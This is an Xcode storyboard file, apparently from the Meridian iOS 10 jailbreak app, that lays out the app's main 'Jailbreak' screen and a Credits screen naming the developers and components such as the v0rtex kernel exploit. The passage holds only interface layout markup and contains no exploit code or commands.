    "path": "Meridian/Meridian/views/Base.lproj/Main.storyboard",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB\" version=\"3.0\" toolsVersion=\"14113\" targetRuntime=\"iOS.CocoaTouch\" propertyAccessControl=\"none\" useAutolayout=\"YES\" useTraitCollections=\"YES\" useSafeAreas=\"YES\" colorMatched=\"YES\" initialViewController=\"Yhi-d4-lzJ\">\n    <device id=\"retina4_0\" orientation=\"portrait\">\n        <adaptation id=\"fullscreen\"/>\n    </device>\n    <dependencies>\n        <deployment identifier=\"iOS\"/>\n        <plugIn identifier=\"com.apple.InterfaceBuilder.IBCocoaTouchPlugin\" version=\"14088\"/>\n        <capability name=\"Aspect ratio constraints\" minToolsVersion=\"5.1\"/>\n        <capability name=\"Constraints to layout margins\" minToolsVersion=\"6.0\"/>\n        <capability name=\"Safe area layout guides\" minToolsVersion=\"9.0\"/>\n        <capability name=\"documents saved in the Xcode 8 format\" minToolsVersion=\"8.0\"/>\n    </dependencies>\n    <scenes>\n        <!--Jailbreak-->\n        <scene sceneID=\"tne-QT-ifu\">\n            <objects>\n                <viewController title=\"Jailbreak\" id=\"BYZ-38-t0r\" userLabel=\"Jailbreak\" customClass=\"ViewController\" sceneMemberID=\"viewController\">\n                    <view key=\"view\" contentMode=\"scaleToFill\" id=\"8bC-Xf-vdC\">\n                        <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"320\" height=\"568\"/>\n                        <autoresizingMask key=\"autoresizingMask\" widthSizable=\"YES\" heightSizable=\"YES\"/>\n                        <subviews>\n                            <imageView userInteractionEnabled=\"NO\" contentMode=\"scaleAspectFit\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" image=\"Map\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"aNP-Zv-9Us\">\n                                <rect key=\"frame\" x=\"-20\" y=\"30\" width=\"360\" height=\"180\"/>\n                                <constraints>\n                                    <constraint firstAttribute=\"width\" secondItem=\"aNP-Zv-9Us\" secondAttribute=\"height\" multiplier=\"2:1\" id=\"2FV-3O-58h\"/>\n                                    <constraint firstAttribute=\"width\" constant=\"360\" id=\"E3E-vh-WoM\"/>\n                                </constraints>\n                            </imageView>\n                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"Meridian\" textAlignment=\"center\" lineBreakMode=\"tailTruncation\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"eEN-LM-8Uz\">\n                                <rect key=\"frame\" x=\"40\" y=\"82\" width=\"240\" height=\"60\"/>\n                                <constraints>\n                                    <constraint firstAttribute=\"width\" constant=\"240\" id=\"iDg-yc-UbH\"/>\n                                    <constraint firstAttribute=\"height\" constant=\"60\" id=\"rWZ-zE-Mwp\"/>\n                                </constraints>\n                                <fontDescription key=\"fontDescription\" type=\"system\" weight=\"heavy\" pointSize=\"55\"/>\n                                <color key=\"textColor\" red=\"0.99999600649999998\" green=\"1\" blue=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                <nil key=\"highlightedColor\"/>\n                            </label>\n                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"Jailbreak for iOS 10.x\" textAlignment=\"center\" lineBreakMode=\"tailTruncation\" numberOfLines=\"0\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"R6J-sX-rSy\">\n                                <rect key=\"frame\" x=\"0.0\" y=\"142\" width=\"320\" height=\"30\"/>\n                                <constraints>\n                                    <constraint firstAttribute=\"width\" constant=\"320\" id=\"7GF-Y7-ZXW\"/>\n                                    <constraint firstAttribute=\"height\" constant=\"30\" id=\"hcV-2h-EXz\"/>\n                                </constraints>\n                                <fontDescription key=\"fontDescription\" type=\"system\" weight=\"medium\" pointSize=\"22\"/>\n                                <color key=\"textColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                                <nil key=\"highlightedColor\"/>\n                            </label>\n                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"VERSION LABEL\" textAlignment=\"natural\" lineBreakMode=\"tailTruncation\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"U4e-5a-D7X\">\n                                <rect key=\"frame\" x=\"24\" y=\"501\" width=\"272\" height=\"12\"/>\n                                <constraints>\n                                    <constraint firstAttribute=\"height\" constant=\"12\" id=\"xvb-X2-5r4\"/>\n                                </constraints>\n                                <fontDescription key=\"fontDescription\" type=\"italicSystem\" pointSize=\"10\"/>\n                                <color key=\"textColor\" red=\"0.44269511421319796\" green=\"0.42654402157192894\" blue=\"0.42609065115014477\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                <nil key=\"highlightedColor\"/>\n                            </label>\n                            <button opaque=\"NO\" contentMode=\"scaleToFill\" contentHorizontalAlignment=\"center\" contentVerticalAlignment=\"center\" buttonType=\"roundedRect\" lineBreakMode=\"middleTruncation\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"LaC-2w-KjF\">\n                                <rect key=\"frame\" x=\"32\" y=\"254\" width=\"256\" height=\"60\"/>\n                                <color key=\"backgroundColor\" red=\"0.81568627450980391\" green=\"0.0\" blue=\"0.0\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                <constraints>\n                                    <constraint firstAttribute=\"height\" constant=\"60\" id=\"pNI-mu-e9r\"/>\n                                    <constraint firstAttribute=\"width\" constant=\"256\" id=\"pca-BB-5ZP\"/>\n                                </constraints>\n                                <fontDescription key=\"fontDescription\" type=\"boldSystem\" pointSize=\"22\"/>\n                                <state key=\"normal\" title=\"Jailbreak\">\n                                    <color key=\"titleColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                                </state>\n                                <connections>\n                                    <action selector=\"goButtonPressed:\" destination=\"BYZ-38-t0r\" eventType=\"touchUpInside\" id=\"dkV-j1-Fof\"/>\n                                </connections>\n                            </button>\n                            <textView opaque=\"NO\" multipleTouchEnabled=\"YES\" contentMode=\"scaleToFill\" showsHorizontalScrollIndicator=\"NO\" editable=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"qVU-s8-Wog\">\n                                <rect key=\"frame\" x=\"24\" y=\"350\" width=\"272\" height=\"139\"/>\n                                <color key=\"backgroundColor\" red=\"0.0\" green=\"0.0\" blue=\"0.0\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                <color key=\"textColor\" white=\"0.75\" alpha=\"1\" colorSpace=\"calibratedWhite\"/>\n                                <fontDescription key=\"fontDescription\" name=\"Menlo-Bold\" family=\"Menlo\" pointSize=\"11\"/>\n                                <textInputTraits key=\"textInputTraits\" autocapitalizationType=\"sentences\"/>\n                            </textView>\n                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"Created by PsychoTea\" textAlignment=\"center\" lineBreakMode=\"tailTruncation\" numberOfLines=\"0\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"Vf5-dN-xQv\">\n                                <rect key=\"frame\" x=\"0.0\" y=\"194\" width=\"320\" height=\"25\"/>\n                                <constraints>\n                                    <constraint firstAttribute=\"width\" constant=\"320\" id=\"aRE-kh-Sqi\"/>\n                                    <constraint firstAttribute=\"height\" constant=\"25\" id=\"vI3-kn-uXN\"/>\n                                </constraints>\n                                <fontDescription key=\"fontDescription\" type=\"system\" weight=\"medium\" pointSize=\"15\"/>\n                                <color key=\"textColor\" red=\"0.69803921568627447\" green=\"0.69803921568627447\" blue=\"0.69803921568627447\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                <nil key=\"highlightedColor\"/>\n                            </label>\n                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"Exploit by Siguza\" textAlignment=\"center\" lineBreakMode=\"tailTruncation\" numberOfLines=\"0\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"46V-Bf-YC0\">\n                                <rect key=\"frame\" x=\"0.0\" y=\"219\" width=\"320\" height=\"22\"/>\n                                <constraints>\n                                    <constraint firstAttribute=\"width\" constant=\"320\" id=\"Dna-Sw-wvT\"/>\n                                    <constraint firstAttribute=\"height\" constant=\"22\" id=\"yX8-A9-wsI\"/>\n                                </constraints>\n                                <fontDescription key=\"fontDescription\" type=\"system\" weight=\"medium\" pointSize=\"14\"/>\n                                <color key=\"textColor\" red=\"0.69803921568627447\" green=\"0.69803921568627447\" blue=\"0.69803921568627447\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                <nil key=\"highlightedColor\"/>\n                            </label>\n                            <activityIndicatorView hidden=\"YES\" opaque=\"NO\" contentMode=\"scaleToFill\" horizontalHuggingPriority=\"750\" verticalHuggingPriority=\"750\" hidesWhenStopped=\"YES\" style=\"white\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"LXo-jg-kOt\">\n                                <rect key=\"frame\" x=\"151\" y=\"275\" width=\"18\" height=\"18\"/>\n                            </activityIndicatorView>\n                        </subviews>\n                        <color key=\"backgroundColor\" red=\"0.12984204290000001\" green=\"0.12984612579999999\" blue=\"0.12984395030000001\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                        <constraints>\n                            <constraint firstItem=\"6Tk-OE-BBY\" firstAttribute=\"bottom\" secondItem=\"U4e-5a-D7X\" secondAttribute=\"bottom\" constant=\"6\" id=\"6RG-ks-KLo\"/>\n                            <constraint firstItem=\"LaC-2w-KjF\" firstAttribute=\"centerX\" secondItem=\"8bC-Xf-vdC\" secondAttribute=\"centerX\" id=\"9QV-m3-n7s\"/>\n                            <constraint firstItem=\"eEN-LM-8Uz\" firstAttribute=\"centerX\" secondItem=\"8bC-Xf-vdC\" secondAttribute=\"centerX\" id=\"Buo-Z5-tnH\"/>\n                            <constraint firstItem=\"U4e-5a-D7X\" firstAttribute=\"leading\" secondItem=\"qVU-s8-Wog\" secondAttribute=\"leading\" id=\"LNv-4e-o2g\"/>\n                            <constraint firstItem=\"U4e-5a-D7X\" firstAttribute=\"top\" secondItem=\"qVU-s8-Wog\" secondAttribute=\"bottom\" constant=\"12\" id=\"NCD-xh-MfP\"/>\n                            <constraint firstItem=\"R6J-sX-rSy\" firstAttribute=\"centerX\" secondItem=\"8bC-Xf-vdC\" secondAttribute=\"centerX\" id=\"PIt-24-XxL\"/>\n                            <constraint firstItem=\"6Tk-OE-BBY\" firstAttribute=\"trailing\" secondItem=\"qVU-s8-Wog\" secondAttribute=\"trailing\" constant=\"24\" id=\"SXv-fQ-EAn\"/>\n                            <constraint firstItem=\"qVU-s8-Wog\" firstAttribute=\"top\" secondItem=\"LaC-2w-KjF\" secondAttribute=\"bottom\" constant=\"36\" id=\"Smo-bg-TdN\"/>\n                            <constraint firstItem=\"eEN-LM-8Uz\" firstAttribute=\"top\" secondItem=\"aNP-Zv-9Us\" secondAttribute=\"top\" constant=\"52\" id=\"V96-iv-Wjz\"/>\n                            <constraint firstItem=\"6Tk-OE-BBY\" firstAttribute=\"bottom\" secondItem=\"qVU-s8-Wog\" secondAttribute=\"bottom\" constant=\"30\" id=\"VFJ-si-Eyk\"/>\n                            <constraint firstItem=\"aNP-Zv-9Us\" firstAttribute=\"centerX\" secondItem=\"8bC-Xf-vdC\" secondAttribute=\"centerX\" id=\"a3g-Yf-2Hc\"/>\n                            <constraint firstItem=\"46V-Bf-YC0\" firstAttribute=\"top\" secondItem=\"Vf5-dN-xQv\" secondAttribute=\"bottom\" id=\"cBS-gm-MMJ\"/>\n                            <constraint firstItem=\"LXo-jg-kOt\" firstAttribute=\"centerY\" secondItem=\"LaC-2w-KjF\" secondAttribute=\"centerY\" id=\"eHW-E4-NgC\"/>\n                            <constraint firstItem=\"LaC-2w-KjF\" firstAttribute=\"leading\" secondItem=\"LXo-jg-kOt\" secondAttribute=\"trailing\" constant=\"-137\" id=\"egG-c2-pJE\"/>\n                            <constraint firstItem=\"aNP-Zv-9Us\" firstAttribute=\"top\" secondItem=\"6Tk-OE-BBY\" secondAttribute=\"top\" constant=\"10\" id=\"mY0-9r-6II\"/>\n                            <constraint firstItem=\"LaC-2w-KjF\" firstAttribute=\"top\" secondItem=\"LXo-jg-kOt\" secondAttribute=\"bottom\" constant=\"-39\" id=\"odK-tz-AMo\"/>\n                            <constraint firstItem=\"R6J-sX-rSy\" firstAttribute=\"top\" secondItem=\"eEN-LM-8Uz\" secondAttribute=\"bottom\" id=\"p0e-4m-sCI\"/>\n                            <constraint firstItem=\"46V-Bf-YC0\" firstAttribute=\"centerX\" secondItem=\"8bC-Xf-vdC\" secondAttribute=\"centerX\" id=\"rGG-FX-ymO\"/>\n                            <constraint firstItem=\"Vf5-dN-xQv\" firstAttribute=\"top\" secondItem=\"R6J-sX-rSy\" secondAttribute=\"bottom\" constant=\"22\" id=\"rvx-Ug-l06\"/>\n                            <constraint firstItem=\"LXo-jg-kOt\" firstAttribute=\"centerX\" secondItem=\"LaC-2w-KjF\" secondAttribute=\"centerX\" id=\"sLm-MB-X44\"/>\n                            <constraint firstItem=\"qVU-s8-Wog\" firstAttribute=\"leading\" secondItem=\"6Tk-OE-BBY\" secondAttribute=\"leading\" constant=\"24\" id=\"tee-Rk-dBW\"/>\n                            <constraint firstItem=\"U4e-5a-D7X\" firstAttribute=\"trailing\" secondItem=\"qVU-s8-Wog\" secondAttribute=\"trailing\" id=\"wy6-Kv-G09\"/>\n                            <constraint firstItem=\"Vf5-dN-xQv\" firstAttribute=\"centerX\" secondItem=\"8bC-Xf-vdC\" secondAttribute=\"centerX\" id=\"yOf-6V-2lI\"/>\n                            <constraint firstItem=\"LaC-2w-KjF\" firstAttribute=\"centerY\" secondItem=\"8bC-Xf-vdC\" secondAttribute=\"centerY\" id=\"zAn-fZ-dez\"/>\n                        </constraints>\n                        <viewLayoutGuide key=\"safeArea\" id=\"6Tk-OE-BBY\"/>\n                    </view>\n                    <tabBarItem key=\"tabBarItem\" title=\"\" image=\"jail\" id=\"tPG-jh-uU3\">\n                        <inset key=\"imageInsets\" minX=\"0.0\" minY=\"6\" maxX=\"0.0\" maxY=\"-6\"/>\n                    </tabBarItem>\n                    <connections>\n                        <outlet property=\"goButton\" destination=\"LaC-2w-KjF\" id=\"Lzq-oO-c8y\"/>\n                        <outlet property=\"progressSpinner\" destination=\"LXo-jg-kOt\" id=\"fC5-WZ-WIz\"/>\n                        <outlet property=\"textArea\" destination=\"qVU-s8-Wog\" id=\"XGs-Bv-wke\"/>\n                        <outlet property=\"versionLabel\" destination=\"U4e-5a-D7X\" id=\"n2U-g6-U20\"/>\n                    </connections>\n                </viewController>\n                <placeholder placeholderIdentifier=\"IBFirstResponder\" id=\"dkx-z0-nzr\" sceneMemberID=\"firstResponder\"/>\n            </objects>\n            <point key=\"canvasLocation\" x=\"-263\" y=\"142\"/>\n        </scene>\n        <!--Credits-->\n        <scene sceneID=\"eOt-vQ-kBY\">\n            <objects>\n                <viewController title=\"Credits\" id=\"Ohh-kf-vNo\" userLabel=\"Credits\" customClass=\"CreditsController\" sceneMemberID=\"viewController\">\n                    <view key=\"view\" contentMode=\"scaleToFill\" id=\"H8w-YY-XZs\">\n                        <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"375\" height=\"930\"/>\n                        <autoresizingMask key=\"autoresizingMask\" widthSizable=\"YES\" heightSizable=\"YES\"/>\n                        <subviews>\n                            <scrollView clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"scaleToFill\" showsHorizontalScrollIndicator=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"LiS-Ms-MlO\">\n                                <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"375\" height=\"900\"/>\n                                <subviews>\n                                    <view contentMode=\"scaleToFill\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"MSn-hK-IyG\" userLabel=\"Content View\">\n                                        <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"375\" height=\"773.5\"/>\n                                        <subviews>\n                                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"A huge thank-you to everyone who helped make this possible. In no particular order: \" textAlignment=\"natural\" lineBreakMode=\"wordWrap\" numberOfLines=\"0\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"YO6-75-8HF\">\n                                                <rect key=\"frame\" x=\"20\" y=\"36\" width=\"335\" height=\"41\"/>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <color key=\"textColor\" red=\"0.99019607840000001\" green=\"1\" blue=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                <nil key=\"highlightedColor\"/>\n                                            </label>\n                                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"the v0rtex kernel exploit\" textAlignment=\"center\" lineBreakMode=\"wordWrap\" numberOfLines=\"0\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"Dha-v5-90Q\">\n                                                <rect key=\"frame\" x=\"20\" y=\"101\" width=\"335\" height=\"20.5\"/>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <color key=\"textColor\" red=\"0.99019607840000001\" green=\"1\" blue=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                <nil key=\"highlightedColor\"/>\n                                            </label>\n                                            <button opaque=\"NO\" contentMode=\"scaleToFill\" contentHorizontalAlignment=\"center\" contentVerticalAlignment=\"center\" buttonType=\"roundedRect\" lineBreakMode=\"middleTruncation\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"Yre-Nt-hlf\">\n                                                <rect key=\"frame\" x=\"20\" y=\"122.5\" width=\"335\" height=\"24\"/>\n                                                <constraints>\n                                                    <constraint firstAttribute=\"height\" constant=\"24\" id=\"96p-r9-Nbm\"/>\n                                                </constraints>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <state key=\"normal\" title=\"@s1guza\"/>\n                                                <connections>\n                                                    <action selector=\"buttonPressed:\" destination=\"Ohh-kf-vNo\" eventType=\"touchUpInside\" id=\"GZb-9q-cW5\"/>\n                                                </connections>\n                                            </button>\n                                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"original inspiration for the project, development, assistance, and entitlement patch fundamentals\" textAlignment=\"center\" lineBreakMode=\"wordWrap\" numberOfLines=\"0\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"UfA-6a-frh\">\n                                                <rect key=\"frame\" x=\"20\" y=\"170.5\" width=\"335\" height=\"61\"/>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <color key=\"textColor\" red=\"0.99019607840000001\" green=\"1\" blue=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                <nil key=\"highlightedColor\"/>\n                                            </label>\n                                            <button opaque=\"NO\" contentMode=\"scaleToFill\" contentHorizontalAlignment=\"center\" contentVerticalAlignment=\"center\" buttonType=\"roundedRect\" lineBreakMode=\"middleTruncation\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"ieO-jT-rOa\">\n                                                <rect key=\"frame\" x=\"20\" y=\"232.5\" width=\"335\" height=\"24\"/>\n                                                <constraints>\n                                                    <constraint firstAttribute=\"height\" constant=\"24\" id=\"4VC-rv-7Cg\"/>\n                                                </constraints>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <state key=\"normal\" title=\"@stek29\"/>\n                                                <connections>\n                                                    <action selector=\"buttonPressed:\" destination=\"qAG-hS-AfD\" eventType=\"touchUpInside\" id=\"fhg-PH-Wdx\"/>\n                                                </connections>\n                                            </button>\n                                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"AMFI patch basis\" textAlignment=\"center\" lineBreakMode=\"wordWrap\" numberOfLines=\"0\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"O0A-re-b8Z\">\n                                                <rect key=\"frame\" x=\"20\" y=\"280.5\" width=\"335\" height=\"20.5\"/>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <color key=\"textColor\" red=\"0.99019607840000001\" green=\"1\" blue=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                <nil key=\"highlightedColor\"/>\n                                            </label>\n                                            <button opaque=\"NO\" contentMode=\"scaleToFill\" contentHorizontalAlignment=\"center\" contentVerticalAlignment=\"center\" buttonType=\"roundedRect\" lineBreakMode=\"middleTruncation\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"7Wk-KG-yMo\">\n                                                <rect key=\"frame\" x=\"20\" y=\"302\" width=\"335\" height=\"24\"/>\n                                                <constraints>\n                                                    <constraint firstAttribute=\"height\" constant=\"24\" id=\"Ybv-Of-Wc0\"/>\n                                                </constraints>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <state key=\"normal\" title=\"@theninjaprawn\"/>\n                                                <connections>\n                                                    <action selector=\"buttonPressed:\" destination=\"qAG-hS-AfD\" eventType=\"touchUpInside\" id=\"2IW-ua-0N4\"/>\n                                                </connections>\n                                            </button>\n                                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"original jailbreakd, pspawn, and TweakLoader\" textAlignment=\"center\" lineBreakMode=\"wordWrap\" numberOfLines=\"0\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"YZ3-IX-aYL\">\n                                                <rect key=\"frame\" x=\"20\" y=\"350\" width=\"335\" height=\"41\"/>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <color key=\"textColor\" red=\"0.99019607840000001\" green=\"1\" blue=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                <nil key=\"highlightedColor\"/>\n                                            </label>\n                                            <button opaque=\"NO\" contentMode=\"scaleToFill\" contentHorizontalAlignment=\"center\" contentVerticalAlignment=\"center\" buttonType=\"roundedRect\" lineBreakMode=\"middleTruncation\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"i0g-15-jI9\">\n                                                <rect key=\"frame\" x=\"20\" y=\"392\" width=\"335\" height=\"24\"/>\n                                                <constraints>\n                                                    <constraint firstAttribute=\"height\" constant=\"24\" id=\"Rx0-OH-EG2\"/>\n                                                </constraints>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <state key=\"normal\" title=\"@coolstarorg\"/>\n                                                <connections>\n                                                    <action selector=\"buttonPressed:\" destination=\"qAG-hS-AfD\" eventType=\"touchUpInside\" id=\"F9x-tR-p5p\"/>\n                                                </connections>\n                                            </button>\n                                            <button opaque=\"NO\" contentMode=\"scaleToFill\" contentHorizontalAlignment=\"center\" contentVerticalAlignment=\"center\" buttonType=\"roundedRect\" lineBreakMode=\"middleTruncation\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"xLy-9T-ijP\">\n                                                <rect key=\"frame\" x=\"20\" y=\"416\" width=\"335\" height=\"24\"/>\n                                                <constraints>\n                                                    <constraint firstAttribute=\"height\" constant=\"24\" id=\"T7m-GL-YS1\"/>\n                                                </constraints>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <state key=\"normal\" title=\"@nullriver\"/>\n                                                <connections>\n                                                    <action selector=\"buttonPressed:\" destination=\"qAG-hS-AfD\" eventType=\"touchUpInside\" id=\"S9V-v7-tDt\"/>\n                                                </connections>\n                                            </button>\n                                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"graphics design, bootstrapping, repo &amp; webhosting\" textAlignment=\"center\" lineBreakMode=\"wordWrap\" numberOfLines=\"0\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"4Ad-kA-OHw\">\n                                                <rect key=\"frame\" x=\"20\" y=\"464\" width=\"335\" height=\"41\"/>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <color key=\"textColor\" red=\"0.99019607840000001\" green=\"1\" blue=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                <nil key=\"highlightedColor\"/>\n                                            </label>\n                                            <button opaque=\"NO\" contentMode=\"scaleToFill\" contentHorizontalAlignment=\"center\" contentVerticalAlignment=\"center\" buttonType=\"roundedRect\" lineBreakMode=\"middleTruncation\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"BKl-Gc-kIr\">\n                                                <rect key=\"frame\" x=\"20\" y=\"506\" width=\"335\" height=\"24\"/>\n                                                <constraints>\n                                                    <constraint firstAttribute=\"height\" constant=\"24\" id=\"EK3-j4-mSc\"/>\n                                                </constraints>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <state key=\"normal\" title=\"@FoxletFox\"/>\n                                                <connections>\n                                                    <action selector=\"buttonPressed:\" destination=\"qAG-hS-AfD\" eventType=\"touchUpInside\" id=\"D7O-30-t5R\"/>\n                                                </connections>\n                                            </button>\n                                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"greatly improved &amp; redesigned UI \" textAlignment=\"center\" lineBreakMode=\"wordWrap\" numberOfLines=\"0\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"xVd-SF-PUd\">\n                                                <rect key=\"frame\" x=\"20\" y=\"554\" width=\"335\" height=\"20.5\"/>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <color key=\"textColor\" red=\"0.99019607840000001\" green=\"1\" blue=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                <nil key=\"highlightedColor\"/>\n                                            </label>\n                                            <button opaque=\"NO\" contentMode=\"scaleToFill\" contentHorizontalAlignment=\"center\" contentVerticalAlignment=\"center\" buttonType=\"roundedRect\" lineBreakMode=\"middleTruncation\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"yXa-1k-ufI\">\n                                                <rect key=\"frame\" x=\"20\" y=\"575.5\" width=\"335\" height=\"24\"/>\n                                                <constraints>\n                                                    <constraint firstAttribute=\"height\" constant=\"24\" id=\"08A-6A-VBM\"/>\n                                                </constraints>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <state key=\"normal\" title=\"@sticktron\"/>\n                                                <connections>\n                                                    <action selector=\"buttonPressed:\" destination=\"qAG-hS-AfD\" eventType=\"touchUpInside\" id=\"SWH-hq-h5H\"/>\n                                                </connections>\n                                            </button>\n                                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"entitlements patch &amp; development\" textAlignment=\"center\" lineBreakMode=\"wordWrap\" numberOfLines=\"0\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"FCK-Yr-PwT\">\n                                                <rect key=\"frame\" x=\"20\" y=\"623.5\" width=\"335\" height=\"20.5\"/>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <color key=\"textColor\" red=\"0.99019607840000001\" green=\"1\" blue=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                <nil key=\"highlightedColor\"/>\n                                            </label>\n                                            <button opaque=\"NO\" contentMode=\"scaleToFill\" contentHorizontalAlignment=\"center\" contentVerticalAlignment=\"center\" buttonType=\"roundedRect\" lineBreakMode=\"middleTruncation\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"POc-h8-ucI\">\n                                                